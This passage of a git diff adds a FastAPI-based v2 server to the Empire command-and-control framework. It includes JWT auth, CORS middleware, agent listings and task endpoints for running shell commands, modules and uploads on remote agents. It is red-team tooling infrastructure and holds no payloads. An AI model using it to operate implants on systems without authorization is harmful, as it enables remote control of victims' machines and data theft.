+ `sdhmmNNNNdyhdNNNNNNNNNNNNNNNNNNNNN
+ /yhmNNmmNNNNNNNNNNNNNNNNNNNNNNmhh
+ `+yhmmNNNNNNNNNNNNNNNNNNNNNNmh+:
+ `./dmmmmNNNNNNNNNNNNNNNNmmd.
+ `ommmmmNNNNNNNmNmNNNNmmd:
+ :dmmmmNNNNNmh../oyhhhy:
+ `sdmmmmNNNmmh/++-.+oh.
+ `/dmmmmmmmmdo-:/ossd:
+ `/ohhdmmmmmmdddddmh/
+ `-/osyhdddddhyo:
+ ``.----.`
+ \x1b[0m
+
+ ███████╗███╗ ███╗██████╗ ██╗██████╗ ███████╗
+ ██╔════╝████╗ ████║██╔══██╗██║██╔══██╗ ██╔════╝
+ █████╗ ██╔████╔██║██████╔╝██║██████╔╝ █████╗
+ ██╔══╝ ██║╚██╔╝██║██╔═══╝ ██║██╔══██╗ ██╔══╝
+ ███████╗██║ ╚═╝ ██║██║ ██║██║ █████║███████╗
+ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚════╝╚══════╝
+ """
)
+
time.sleep(3)
- os.system("clear")
+ shortcuts.clear()
def text_wrap(text, width=35):
@@ -169,3 +182,12 @@ def truncate(text, width=50):
:return: truncated text if necessary else the same text
"""
return (text[:width] + "..") if len(text) > width else text
+
+
+def connect_message():
+ print("\n")
+ print("Use the 'connect' command to connect to your Empire server.")
+ print(
+ "'connect -c localhost' will connect to a local empire instance with all the defaults"
+ )
+ print("including the default username and password.")
diff --git a/empire/client/src/utils/table_util.py b/empire/client/src/utils/table_util.py
index 25277c019..cba18869a 100644
--- a/empire/client/src/utils/table_util.py
+++ b/empire/client/src/utils/table_util.py
@@ -1,3 +1,4 @@
+import logging
from typing import List
from terminaltables import SingleTable
@@ -5,6 +6,8 @@
import empire.client.src.utils.print_util as print_utils
from empire.client.src.EmpireCliConfig import empire_config
+log = logging.getLogger(__name__)
+
def print_table(
data: List[List[str]] = None,
diff --git a/empire/scripts/sync_starkiller.py b/empire/scripts/sync_starkiller.py
new file mode 100644
index 000000000..1dfa0e1c1
--- /dev/null
+++ b/empire/scripts/sync_starkiller.py
@@ -0,0 +1,64 @@
+import logging
+import os
+import subprocess
+
+log = logging.getLogger(__name__)
+
+
+def sync_starkiller(empire_config):
+ """
+ Syncs the starkiller submodule with what is in the config.
+ Using dict acccess because this script should be able to run with minimal packages, not just within empire.
+ """
+ starkiller_config = empire_config["starkiller"]
+ starkiller_submodule_dir = "empire/server/api/v2/starkiller"
+ starkiller_temp_dir = "empire/server/api/v2/starkiller-temp"
+
+ subprocess.run(["git", "submodule", "update", "--init", "--recursive"], check=True)
+
+ if not starkiller_config["use_temp_dir"]:
+ log.info("Syncing starkiller submodule to match config.yaml")
+ subprocess.run(
+ [
+ "git",
+ "submodule",
+ "set-url",
+ "--",
+ starkiller_submodule_dir,
+ starkiller_config["repo"],
+ ],
+ check=True,
+ )
+ subprocess.run(
+ ["git", "submodule", "sync", "--", starkiller_submodule_dir], check=True
+ )
+
+ _fetch_checkout_pull(starkiller_config["ref"], starkiller_submodule_dir)
+
+ else:
+ if not os.path.exists(starkiller_temp_dir):
+ log.info("Cloning starkiller to temp dir")
+ subprocess.run(
+ ["git", "clone", starkiller_config["repo"], starkiller_temp_dir],
+ check=True,
+ )
+
+ else:
+ log.info("Updating starkiller temp dir")
+ subprocess.run(
+ ["git", "remote", "set-url", "origin", starkiller_config["repo"]],
+ cwd=starkiller_temp_dir,
+ check=True,
+ )
+
+ _fetch_checkout_pull(starkiller_config["ref"], starkiller_temp_dir)
+
+
+def _fetch_checkout_pull(ref, cwd):
+ subprocess.run(["git", "fetch"], cwd=cwd, check=True)
+ subprocess.run(
+ ["git", "checkout", ref],
+ cwd=cwd,
+ check=True,
+ )
+ subprocess.run(["git", "pull", "origin", ref], cwd=cwd)
diff --git a/empire/server/api/__init__.py b/empire/server/api/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/api_router.py b/empire/server/api/api_router.py
new file mode 100644
index 000000000..3d137452b
--- /dev/null
+++ b/empire/server/api/api_router.py
@@ -0,0 +1,29 @@
+from typing import Any, Callable
+
+from fastapi import APIRouter as FastAPIRouter
+from fastapi.types import DecoratedCallable
+
+
+# Allows for with and without trailing slashes
+# https://github.com/tiangolo/fastapi/issues/2060#issuecomment-834868906
+class APIRouter(FastAPIRouter):
+ def api_route(
+ self, path: str, *, include_in_schema: bool = True, **kwargs: Any
+ ) -> Callable[[DecoratedCallable], DecoratedCallable]:
+ if path.endswith("/"):
+ path = path[:-1]
+
+ add_path = super().api_route(
+ path, include_in_schema=include_in_schema, **kwargs
+ )
+
+ alternate_path = path + "/"
+ add_alternate_path = super().api_route(
+ alternate_path, include_in_schema=False, **kwargs
+ )
+
+ def decorator(func: DecoratedCallable) -> DecoratedCallable:
+ add_alternate_path(func)
+ return add_path(func)
+
+ return decorator
diff --git a/empire/server/api/app.py b/empire/server/api/app.py
new file mode 100644
index 000000000..650b4dde7
--- /dev/null
+++ b/empire/server/api/app.py
@@ -0,0 +1,170 @@
+import json
+import logging
+import os
+from datetime import datetime
+from json import JSONEncoder
+
+import socketio
+import uvicorn
+from fastapi import FastAPI
+from starlette.middleware.gzip import GZipMiddleware
+from starlette.staticfiles import StaticFiles
+
+from empire.scripts.sync_starkiller import sync_starkiller
+from empire.server.api.middleware import EmpireCORSMiddleware
+from empire.server.api.v2.websocket.socketio import setup_socket_events
+from empire.server.core.config import empire_config
+
+log = logging.getLogger(__name__)
+
+
+class MyJsonWrapper(object):
+ @staticmethod
+ def dumps(*args, **kwargs):
+ if "cls" not in kwargs:
+ kwargs["cls"] = MyJsonEncoder
+ return json.dumps(*args, **kwargs)
+
+ @staticmethod
+ def loads(*args, **kwargs):
+ return json.loads(*args, **kwargs)
+
+
+class MyJsonEncoder(JSONEncoder):
+ def default(self, o):
+ if isinstance(o, datetime):
+ return o.isoformat()
+ if isinstance(o, bytes):
+ return o.decode("latin-1")
+ if hasattr(o, "json") and callable(o.json):
+ return o.json()
+
+ return JSONEncoder.default(self, o)
+
+
+def load_starkiller(v2App):
+ use_temp = empire_config.starkiller.use_temp_dir
+ starkiller_submodule_dir = "empire/server/api/v2/starkiller"
+ starkiller_temp_dir = "empire/server/api/v2/starkiller-temp"
+
+ if empire_config.starkiller.auto_update:
+ sync_starkiller(empire_config.dict())
+
+ v2App.mount(
+ "/",
+ StaticFiles(
+ directory=f"{starkiller_temp_dir}/dist"
+ if use_temp
+ else f"{starkiller_submodule_dir}/dist"
+ ),
+ name="static",
+ )
+
+
+def initialize(secure: bool = False, port: int = 1337):
+ # Not pretty but allows us to use main_menu by delaying the import
+ from empire.server.api.v2.agent import agent_api, agent_file_api, agent_task_api
+ from empire.server.api.v2.bypass import bypass_api
+ from empire.server.api.v2.credential import credential_api
+ from empire.server.api.v2.download import download_api
+ from empire.server.api.v2.host import host_api, process_api
+ from empire.server.api.v2.listener import listener_api, listener_template_api
+ from empire.server.api.v2.meta import meta_api
+ from empire.server.api.v2.module import module_api
+ from empire.server.api.v2.obfuscation import obfuscation_api
+ from empire.server.api.v2.plugin import plugin_api
+ from empire.server.api.v2.profile import profile_api
+ from empire.server.api.v2.stager import stager_api, stager_template_api
+ from empire.server.api.v2.user import user_api
+ from empire.server.server import main
+
+ v2App = FastAPI()
+
+ @v2App.on_event("shutdown")
+ def shutdown_event():
+ log.info("Shutting down Empire Server...")
+ if main:
+ log.info("Shutting down MainMenu...")
+ main.shutdown()
+
+ v2App.include_router(listener_template_api.router)
+ v2App.include_router(listener_api.router)
+ v2App.include_router(stager_template_api.router)
+ v2App.include_router(stager_api.router)
+ v2App.include_router(agent_task_api.router)
+ v2App.include_router(agent_api.router)
+ v2App.include_router(agent_file_api.router)
+ v2App.include_router(user_api.router)
+ v2App.include_router(module_api.router)
+ v2App.include_router(bypass_api.router)
+ v2App.include_router(obfuscation_api.router)
+ v2App.include_router(process_api.router)
+ v2App.include_router(profile_api.router)
+ v2App.include_router(credential_api.router)
+ v2App.include_router(host_api.router)
+ v2App.include_router(download_api.router)
+ v2App.include_router(meta_api.router)
+ v2App.include_router(plugin_api.router)
+
+ v2App.add_middleware(
+ EmpireCORSMiddleware,
+ allow_origins=[
+ "*",
+ "http://localhost",
+ "http://localhost:8080",
+ "http://localhost:8081",
+ ],
+ allow_credentials=True,
+ allow_methods=["*"],
+ allow_headers=["*"],
+ expose_headers=["content-disposition"],
+ )
+
+ v2App.add_middleware(GZipMiddleware, minimum_size=500)
+
+ sio = socketio.AsyncServer(
+ async_mode="asgi",
+ cors_allowed_origins="*",
+ # logger=True,
+ # engineio_logger=True,
+ # https://github.com/miguelgrinberg/flask-socketio/issues/274#issuecomment-231206374
+ json=MyJsonWrapper,
+ )
+ sio_app = socketio.ASGIApp(
+ socketio_server=sio, other_asgi_app=v2App, socketio_path="/socket.io/"
+ )
+
+ v2App.add_route("/socket.io/", route=sio_app, methods=["GET", "POST"])
+ v2App.add_websocket_route("/socket.io/", sio_app)
+
+ setup_socket_events(sio, main)
+
+ try:
+ load_starkiller(v2App)
+ log.info(f"Starkiller served at http://localhost:{port}/index.html")
+ except Exception as e:
+ log.warning("Failed to load Starkiller: %s", e)
+ pass
+
+ cert_path = os.path.abspath("./empire/server/data/")
+
+ if not secure:
+ uvicorn.run(
+ v2App,
+ host="0.0.0.0",
+ port=port,
+ log_config=None,
+ lifespan="on",
+ # log_level="info",
+ )
+ else:
+ uvicorn.run(
+ v2App,
+ host="0.0.0.0",
+ port=port,
+ log_config=None,
+ lifespan="on",
+ ssl_keyfile=f"{cert_path}/empire-priv.key",
+ ssl_certfile=f"{cert_path}/empire-chain.pem",
+ # log_level="info",
+ )
diff --git a/empire/server/api/jwt_auth.py b/empire/server/api/jwt_auth.py
new file mode 100644
index 000000000..bb807c6d6
--- /dev/null
+++ b/empire/server/api/jwt_auth.py
@@ -0,0 +1,109 @@
+from datetime import datetime, timedelta
+from typing import Optional
+
+from fastapi import Depends, HTTPException
+from fastapi.security import OAuth2PasswordBearer
+from jose import JWTError, jwt
+from passlib.context import CryptContext
+from pydantic import BaseModel
+from sqlalchemy.orm import Session
+from starlette import status
+
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+
+# This all comes from the amazing fastapi docs: https://fastapi.tiangolo.com/tutorial/security/oauth2-jwt/
+SECRET_KEY = SessionLocal().query(models.Config).first().jwt_secret_key
+ALGORITHM = "HS256"
+
+# Long token expiration until refresh token is implemented
+ACCESS_TOKEN_EXPIRE_MINUTES = 60 * 24
+
+
+class Token(BaseModel):
+ access_token: str
+ token_type: str
+
+
+class TokenData(BaseModel):
+ username: Optional[str] = None
+
+
+pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto")
+
+oauth2_scheme = OAuth2PasswordBearer(tokenUrl="token")
+
+
+def verify_password(plain_password, hashed_password):
+ return pwd_context.verify(plain_password, hashed_password)
+
+
+def get_password_hash(password):
+ return pwd_context.hash(password)
+
+
+def get_user(db, username: str) -> models.User:
+ return db.query(models.User).filter(models.User.username == username).first()
+
+
+def authenticate_user(db: Session, username: str, password: str):
+ user = get_user(db, username)
+ if not user:
+ return False
+ if not user.enabled:
+ return False
+ if not verify_password(password, user.hashed_password):
+ return False
+ return user
+
+
+def create_access_token(data: dict, expires_delta: Optional[timedelta] = None):
+ to_encode = data.copy()
+ if expires_delta:
+ expire = datetime.utcnow() + expires_delta
+ else:
+ expire = datetime.utcnow() + timedelta(minutes=15)
+ to_encode.update({"exp": expire})
+ encoded_jwt = jwt.encode(to_encode, SECRET_KEY, algorithm=ALGORITHM)
+ return encoded_jwt
+
+
+async def get_current_user(
+ token: str = Depends(oauth2_scheme), db: Session = Depends(get_db)
+):
+ credentials_exception = HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Could not validate credentials",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+ try:
+ payload = jwt.decode(token, SECRET_KEY, algorithms=[ALGORITHM])
+ username: str = payload.get("sub")
+ if username is None:
+ raise credentials_exception
+ token_data = TokenData(username=username)
+ except JWTError:
+ raise credentials_exception
+ user = get_user(db, username=token_data.username)
+ if user is None:
+ raise credentials_exception
+ return user
+
+
+async def get_current_active_user(
+ current_user: models.User = Depends(get_current_user),
+):
+ if not current_user.enabled:
+ raise HTTPException(status_code=400, detail="Inactive user")
+ return current_user
+
+
+async def get_current_active_admin_user(
+ current_user: models.User = Depends(get_current_user),
+):
+ if not current_user.enabled:
+ raise HTTPException(status_code=400, detail="Inactive user")
+ if not current_user.admin:
+ raise HTTPException(status_code=403, detail="Not an admin user")
+ return current_user
diff --git a/empire/server/api/middleware.py b/empire/server/api/middleware.py
new file mode 100644
index 000000000..fe618deb7
--- /dev/null
+++ b/empire/server/api/middleware.py
@@ -0,0 +1,40 @@
+import typing
+
+from starlette.middleware.cors import CORSMiddleware
+from starlette.types import ASGIApp, Receive, Scope, Send
+
+
+class EmpireCORSMiddleware(CORSMiddleware):
+ """
+ This is required to stop the middleware from breaking socket.io requests.
+ """
+
+ def __init__(
+ self,
+ app: ASGIApp,
+ allow_origins: typing.Sequence[str] = (),
+ allow_methods: typing.Sequence[str] = ("GET",),
+ allow_headers: typing.Sequence[str] = (),
+ allow_credentials: bool = False,
+ allow_origin_regex: str = None,
+ expose_headers: typing.Sequence[str] = (),
+ max_age: int = 600,
+ ) -> None:
+ super().__init__(
+ app,
+ allow_origins,
+ allow_methods,
+ allow_headers,
+ allow_credentials,
+ allow_origin_regex,
+ expose_headers,
+ max_age,
+ )
+
+ async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None:
+ if not scope.get("path", "").startswith("/socket.io"):
+ await super().__call__(scope, receive, send)
+ return
+ else:
+ await self.app(scope, receive, send)
+ return
diff --git a/empire/server/api/v2/__init__.py b/empire/server/api/v2/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/v2/agent/__init__.py b/empire/server/api/v2/agent/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/v2/agent/agent_api.py b/empire/server/api/v2/agent/agent_api.py
new file mode 100644
index 000000000..a6b86bc32
--- /dev/null
+++ b/empire/server/api/v2/agent/agent_api.py
@@ -0,0 +1,72 @@
+from fastapi import Depends, HTTPException
+from sqlalchemy.orm import Session
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.agent.agent_dto import (
+ Agent,
+ Agents,
+ AgentUpdateRequest,
+ domain_to_dto_agent,
+)
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.core.db import models
+from empire.server.server import main
+
+agent_service = main.agentsv2
+
+router = APIRouter(
+ prefix="/api/v2/agents",
+ tags=["agents"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+async def get_agent(uid: str, db: Session = Depends(get_db)):
+ agent = agent_service.get_by_id(db, uid)
+
+ if agent:
+ return agent
+
+ raise HTTPException(404, f"Agent not found for id {uid}")
+
+
+@router.get("/{uid}", response_model=Agent)
+async def read_agent(uid: str, db_agent: models.Agent = Depends(get_agent)):
+ return domain_to_dto_agent(db_agent)
+
+
+@router.get("/", response_model=Agents)
+async def read_agents(
+ db: Session = Depends(get_db),
+ include_archived: bool = False,
+ include_stale: bool = True,
+):
+ agents = list(
+ map(
+ lambda x: domain_to_dto_agent(x),
+ agent_service.get_all(db, include_archived, include_stale),
+ )
+ )
+
+ return {"records": agents}
+
+
+@router.put("/{uid}", response_model=Agent)
+async def update_agent(
+ uid: str,
+ agent_req: AgentUpdateRequest,
+ db: Session = Depends(get_db),
+ db_agent: models.Agent = Depends(get_agent),
+):
+ resp, err = agent_service.update_agent(db, db_agent, agent_req)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_agent(resp)
diff --git a/empire/server/api/v2/agent/agent_dto.py b/empire/server/api/v2/agent/agent_dto.py
new file mode 100644
index 000000000..33cee91b3
--- /dev/null
+++ b/empire/server/api/v2/agent/agent_dto.py
@@ -0,0 +1,108 @@
+from datetime import datetime
+from typing import Dict, List, Optional
+
+from pydantic import BaseModel
+
+from empire.server.api.v2.shared_dto import PROXY_ID
+from empire.server.core.db import models
+
+
+def domain_to_dto_agent(agent: models.Agent):
+ return Agent(
+ session_id=agent.session_id,
+ name=agent.name,
+ # the way agents connect, we only get the listener name. Ideally we should
+ # be getting the id so we can store it by id on the db.
+ # Future change would be to add id to the dto and change
+ # listener to listener_name
+ # listener_id=agent.listener,
+ listener=agent.listener,
+ host_id=agent.host_id,
+ hostname=agent.hostname,
+ language=agent.language,
+ language_version=agent.language_version,
+ delay=agent.delay,
+ jitter=agent.jitter,
+ external_ip=agent.external_ip,
+ internal_ip=agent.internal_ip,
+ username=agent.username,
+ high_integrity=agent.high_integrity,
+ process_id=agent.process_id,
+ process_name=agent.process_name,
+ os_details=agent.os_details,
+ nonce=agent.nonce,
+ checkin_time=agent.checkin_time,
+ lastseen_time=agent.lastseen_time,
+ parent=agent.parent,
+ children=agent.children,
+ servers=agent.servers,
+ profile=agent.profile,
+ functions=agent.functions,
+ kill_date=agent.kill_date,
+ working_hours=agent.working_hours,
+ lost_limit=agent.lost_limit,
+ notes=agent.notes,
+ architecture=agent.architecture,
+ stale=agent.stale,
+ archived=agent.archived,
+ # Could make this a typed class later to match the schema
+ proxies=to_proxy_dto(agent.proxies),
+ )
+
+
+def to_proxy_dto(proxies):
+ if proxies:
+ converted = []
+ for p in proxies["proxies"]:
+ p_copy = p.copy()
+ p_copy["proxy_type"] = PROXY_ID[p["proxy_type"]]
+ converted.append(p_copy)
+
+ return {"proxies": converted}
+
+ return {}
+
+
+class Agent(BaseModel):
+ session_id: str
+ name: str
+ # listener_id: int
+ listener: str
+ host_id: Optional[int]
+ hostname: Optional[str]
+ language: Optional[str]
+ language_version: Optional[str]
+ delay: int
+ jitter: float
+ external_ip: Optional[str]
+ internal_ip: Optional[str]
+ username: Optional[str]
+ high_integrity: Optional[bool]
+ process_id: Optional[int]
+ process_name: Optional[str]
+ os_details: Optional[str]
+ nonce: str
+ checkin_time: datetime
+ lastseen_time: datetime
+ parent: Optional[str]
+ children: Optional[str]
+ servers: Optional[str]
+ profile: Optional[str]
+ functions: Optional[str]
+ kill_date: Optional[str]
+ working_hours: Optional[str]
+ lost_limit: int
+ notes: Optional[str]
+ architecture: Optional[str]
+ archived: bool
+ stale: bool
+ proxies: Optional[Dict]
+
+
+class Agents(BaseModel):
+ records: List[Agent]
+
+
+class AgentUpdateRequest(BaseModel):
+ name: str
+ notes: Optional[str]
diff --git a/empire/server/api/v2/agent/agent_file_api.py b/empire/server/api/v2/agent/agent_file_api.py
new file mode 100644
index 000000000..29928f7b5
--- /dev/null
+++ b/empire/server/api/v2/agent/agent_file_api.py
@@ -0,0 +1,81 @@
+from typing import List, Optional, Tuple
+
+from fastapi import Depends, HTTPException
+from sqlalchemy.orm import Session
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.agent.agent_file_dto import AgentFile, domain_to_dto_file
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.core.agent_file_service import AgentFileService
+from empire.server.core.agent_service import AgentService
+from empire.server.core.db import models
+from empire.server.server import main
+
+agent_file_service: AgentFileService = main.agentfilesv2
+agent_service: AgentService = main.agentsv2
+
+router = APIRouter(
+ prefix="/api/v2/agents/{agent_id}/files",
+ tags=["agents"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+async def get_agent(agent_id: str, db: Session = Depends(get_db)):
+ agent = agent_service.get_by_id(db, agent_id)
+
+ if agent:
+ return agent
+
+ raise HTTPException(404, f"Agent not found for id {agent_id}")
+
+
+async def get_file(
+ uid: int, db: Session = Depends(get_db), db_agent: models.Agent = Depends(get_agent)
+):
+ file = agent_file_service.get_file(db, db_agent.session_id, uid)
+
+ if file:
+ return file
+
+ raise HTTPException(
+ 404, f"File not found for agent {db_agent.session_id} and file id {uid}"
+ )
+
+
+@router.get("/root", dependencies=[Depends(get_current_active_user)])
+async def read_file_root(
+ db: Session = Depends(get_db), db_agent: models.Agent = Depends(get_agent)
+):
+ file = agent_file_service.get_file_by_path(db, db_agent.session_id, "/")
+
+ if file:
+ return domain_to_dto_file(*file)
+
+ raise HTTPException(
+ 404, f'File not found for agent {db_agent.session_id} and file path "/"'
+ )
+
+
+@router.get(
+ "/{uid}", response_model=AgentFile, dependencies=[Depends(get_current_active_user)]
+)
+async def read_file(
+ uid: int,
+ db_agent: models.Agent = Depends(get_agent),
+ db_file: Optional[Tuple[models.AgentFile, List[models.AgentFile]]] = Depends(
+ get_file
+ ),
+):
+ if db_file:
+ return domain_to_dto_file(*db_file)
+
+ raise HTTPException(
+ 404, f'File not found for agent {db_agent.session_id} and file path "/"'
+ )
diff --git a/empire/server/api/v2/agent/agent_file_dto.py b/empire/server/api/v2/agent/agent_file_dto.py
new file mode 100644
index 000000000..ed65dd822
--- /dev/null
+++ b/empire/server/api/v2/agent/agent_file_dto.py
@@ -0,0 +1,45 @@
+# needed for self referencing
+# https://pydantic-docs.helpmanual.io/usage/postponed_annotations/#self-referencing-models
+from __future__ import annotations
+
+from typing import List, Optional
+
+from pydantic import BaseModel
+
+from empire.server.api.v2.shared_dto import (
+ DownloadDescription,
+ domain_to_dto_download_description,
+)
+from empire.server.core.db import models
+
+
+def domain_to_dto_file(file: models.AgentFile, children: List[models.AgentFile]):
+ return AgentFile(
+ id=file.id,
+ session_id=file.session_id,
+ name=file.name,
+ path=file.path,
+ is_file=file.is_file,
+ parent_id=file.parent_id,
+ downloads=list(
+ map(lambda x: domain_to_dto_download_description(x), file.downloads)
+ ),
+ children=list(map(lambda c: domain_to_dto_file(c, []), children)),
+ )
+
+
+class AgentFile(BaseModel):
+ id: int
+ session_id: str
+ name: str
+ path: str
+ is_file: bool
+ parent_id: Optional[int]
+ downloads: List[DownloadDescription]
+ children: List[AgentFile] = []
+
+ class Config:
+ orm_mode = True
+
+
+AgentFile.update_forward_refs()
diff --git a/empire/server/api/v2/agent/agent_task_api.py b/empire/server/api/v2/agent/agent_task_api.py
new file mode 100644
index 000000000..d855a90f9
--- /dev/null
+++ b/empire/server/api/v2/agent/agent_task_api.py
@@ -0,0 +1,534 @@
+import base64
+import math
+from datetime import datetime
+from typing import List, Optional
+
+from fastapi import Depends, File, HTTPException, Query, UploadFile
+from sqlalchemy.orm import Session
+from starlette.responses import Response
+from starlette.status import HTTP_204_NO_CONTENT
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user, get_current_user
+from empire.server.api.v2.agent.agent_task_dto import (
+ CommsPostRequest,
+ DirectoryListPostRequest,
+ DownloadPostRequest,
+ ExitPostRequest,
+ KillDatePostRequest,
+ KillJobPostRequest,
+ ModulePostRequest,
+ ProxyListPostRequest,
+ ScriptCommandPostRequest,
+ ShellPostRequest,
+ SleepPostRequest,
+ SocksPostRequest,
+ SysinfoPostRequest,
+ Task,
+ TaskOrderOptions,
+ Tasks,
+ UploadPostRequest,
+ WorkingHoursPostRequest,
+ domain_to_dto_task,
+)
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dto import (
+ PROXY_NAME,
+ BadRequestResponse,
+ NotFoundResponse,
+ OrderDirection,
+)
+from empire.server.core.agent_service import AgentService
+from empire.server.core.agent_task_service import AgentTaskService
+from empire.server.core.db import models
+from empire.server.core.db.models import TaskingStatus
+from empire.server.core.download_service import DownloadService
+from empire.server.server import main
+from empire.server.utils.data_util import is_port_in_use
+
+agent_task_service: AgentTaskService = main.agenttasksv2
+agent_service: AgentService = main.agentsv2
+download_service: DownloadService = main.downloadsv2
+
+router = APIRouter(
+ prefix="/api/v2/agents",
+ tags=["agents", "tasks"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+async def get_agent(agent_id: str, db: Session = Depends(get_db)):
+ agent = agent_service.get_by_id(db, agent_id)
+
+ if agent:
+ return agent
+
+ raise HTTPException(404, f"Agent not found for id {agent_id}")
+
+
+async def get_task(
+ uid: int, db: Session = Depends(get_db), db_agent: models.Agent = Depends(get_agent)
+):
+ task = agent_task_service.get_task_for_agent(db, db_agent.session_id, uid)
+
+ if task:
+ return task
+
+ raise HTTPException(
+ 404, f"Task not found for agent {db_agent.session_id} and task id {uid}"
+ )
+
+
+@router.get("/tasks", response_model=Tasks)
+async def read_tasks_all_agents(
+ limit: int = -1,
+ page: int = 1,
+ include_full_input: bool = False,
+ include_original_output: bool = False,
+ include_output: bool = True,
+ since: Optional[datetime] = None,
+ order_by: TaskOrderOptions = TaskOrderOptions.id,
+ order_direction: OrderDirection = OrderDirection.desc,
+ status: Optional[TaskingStatus] = None,
+ agents: Optional[List[str]] = Query(None),
+ users: Optional[List[int]] = Query(None),
+ query: Optional[str] = None,
+ db: Session = Depends(get_db),
+):
+ tasks, total = agent_task_service.get_tasks(
+ db,
+ agents=agents,
+ users=users,
+ limit=limit,
+ offset=(page - 1) * limit,
+ include_full_input=include_full_input,
+ include_original_output=include_original_output,
+ include_output=include_output,
+ since=since,
+ order_by=order_by,
+ order_direction=order_direction,
+ status=status,
+ q=query,
+ )
+
+ tasks_converted = list(
+ map(
+ lambda x: domain_to_dto_task(
+ x, include_full_input, include_original_output, include_output
+ ),
+ tasks,
+ )
+ )
+
+ return Tasks(
+ records=tasks_converted,
+ page=page,
+ total_pages=math.ceil(total / limit),
+ limit=limit,
+ total=total,
+ )
+
+
+@router.get("/{agent_id}/tasks", response_model=Tasks)
+async def read_tasks(
+ limit: int = -1,
+ page: int = 1,
+ include_full_input: bool = False,
+ include_original_output: bool = False,
+ include_output: bool = True,
+ since: Optional[datetime] = None,
+ order_by: TaskOrderOptions = TaskOrderOptions.id,
+ order_direction: OrderDirection = OrderDirection.desc,
+ status: Optional[TaskingStatus] = None,
+ users: Optional[List[int]] = Query(None),
+ db: Session = Depends(get_db),
+ db_agent: models.Agent = Depends(get_agent),
+ query: Optional[str] = None,
+):
+ tasks, total = agent_task_service.get_tasks(
+ db,
+ agents=[db_agent.session_id],
+ users=users,
+ limit=limit,
+ offset=(page - 1) * limit,
+ include_full_input=include_full_input,
+ include_original_output=include_original_output,
+ include_output=include_output,
+ since=since,
+ order_by=order_by,
+ order_direction=order_direction,
+ status=status,
+ q=query,
+ )
+
+ tasks_converted = list(
+ map(
+ lambda x: domain_to_dto_task(
+ x, include_full_input, include_original_output, include_output
+ ),
+ tasks,
+ )
+ )
+
+ return Tasks(
+ records=tasks_converted,
+ page=page,
+ total_pages=math.ceil(total / limit) if limit > 0 else page,
+ limit=limit,
+ total=total,
+ )
+
+
+@router.get("/{agent_id}/tasks/{uid}", response_model=Task)
+async def read_task(
+ uid: int,
+ db: Session = Depends(get_db),
+ db_agent: models.Agent = Depends(get_agent),
+ db_task: models.Tasking = Depends(get_task),
+):
+ if not db_task:
+ raise HTTPException(status_code=404, detail="Task not found")
+
+ return domain_to_dto_task(db_task)
+
+
+@router.post("/{agent_id}/tasks/jobs", response_model=Task)
+async def create_task_jobs(
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ resp, err = agent_task_service.create_task_jobs(db, db_agent, current_user.id)
+
+ return domain_to_dto_task(resp)
+
+
+@router.post("/{agent_id}/tasks/kill_job", response_model=Task)
+async def create_task_kill_job(
+ jobs: KillJobPostRequest,
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ kill_job = str(jobs.id)
+ resp, err = agent_task_service.create_task_kill_job(
+ db, db_agent, current_user.id, kill_job
+ )
+
+ return domain_to_dto_task(resp)
+
+
+@router.post("/{agent_id}/tasks/shell", status_code=201, response_model=Task)
+async def create_task_shell(
+ shell_request: ShellPostRequest,
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ """
+ Executes a command on the agent. If literal is true, it will ignore the built-in aliases
+ such a whoami or ps and execute the command directly.
+ """
+ resp, err = agent_task_service.create_task_shell(
+ db, db_agent, shell_request.command, shell_request.literal, current_user.id
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_task(resp)
+
+
+@router.post("/{agent_id}/tasks/module", status_code=201, response_model=Task)
+async def create_task_module(
+ module_request: ModulePostRequest,
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ resp, err = agent_task_service.create_task_module(
+ db, db_agent, module_request, current_user.id
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_task(resp)
+
+
+@router.post("/{agent_id}/tasks/upload", status_code=201, response_model=Task)
+async def create_task_upload(
+ upload_request: UploadPostRequest,
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ download = download_service.get_by_id(db, upload_request.file_id)
+
+ if not download:
+ raise HTTPException(
+ status_code=400,
